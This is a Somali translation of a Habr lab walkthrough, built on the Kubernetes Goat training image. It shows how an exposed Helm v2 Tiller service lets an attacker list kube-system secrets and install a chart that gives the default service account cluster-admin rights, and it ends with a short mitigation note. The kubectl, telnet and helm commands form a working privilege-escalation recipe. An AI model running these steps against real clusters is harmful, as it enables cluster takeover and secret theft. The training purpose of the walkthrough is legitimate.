Helm waa maamulaha xirmada ee Kubernetes, wax la mid ah apt-get
loogu talagalay Ubuntu. Qoraalkan waxaan ku arki doonaa nooca hore ee helm (v2) oo ay ku rakiban yihiin adeega tiller si default ah, kaas oo aan ku geli doono kooxda.
Aan diyaarino kutlada; si tan loo sameeyo, socodsii amarka:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
Banaanbax
- Haddii aadan wax kale habeynin, helm v2 waxa ay bilaabeysaa adeegga tiller, kaas oo leh RBAC oo leh xuquuqaha maamule kooxeed buuxa.
- Ka dib markii la rakibo in namespace
kube-system
u muuqdatiller-deploy
, waxayna sidoo kale fureysaa dekedda 44134, oo ku xiran 0.0.0.0. Tan waxaa lagu hubin karaa telnet.
$ telnet tiller-deploy.kube-system 44134
- Hadda waxaad ku xidhi kartaa adeega tiller. Waxaan u isticmaali doonaa binary helm si aan u fulino hawlgalada marka aan la xiriireyno adeegga tiller:
$ helm --host tiller-deploy.kube-system:44134 version
- Aan isku dayno inaan ka helno sirta kutlada Kubernetes ee meelaynta magaca
kube-system
:
$ kubectl get secrets -n kube-system
- Hadda waxaan abuuri karnaa jaantus noo gaar ah, kaas oo aan ku abuuri doono doorka xuquuqda maamulka oo aan ku meeleyno doorkan xisaabta adeegga caadiga ah. Anaga oo adeegsanayna calaamada akoonkan adeega, waxa aanu si buuxda u helnay kooxdayada.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Hadda goorma
pwnchart
la geeyay, koontada adeegga caadiga ah waxay leedahay marin maamul oo buuxa. Aan mar kale hubinno sida sirta looga helokube-system
kubectl get secrets -n kube-system
Ku guuleysiga fulinta qoraalkan waxay kuxirantahay sida tiller loo diray; mararka qaarkood maamulayaashu waxay geeyaan meel magac gaar ah oo leh mudnaanta kala duwan. Helm 3 uma nuglaato dayacanka noocaas ah sababtoo ah... wax beeraley ah kuma jiro.
Qoraalka turjubaanka: Isticmaalka siyaasadaha shabakada si loo shaandheeyo taraafikada kooxdu waxay caawisaa ka ilaalinta dayacanka noocan ah.
Source: www.habr.com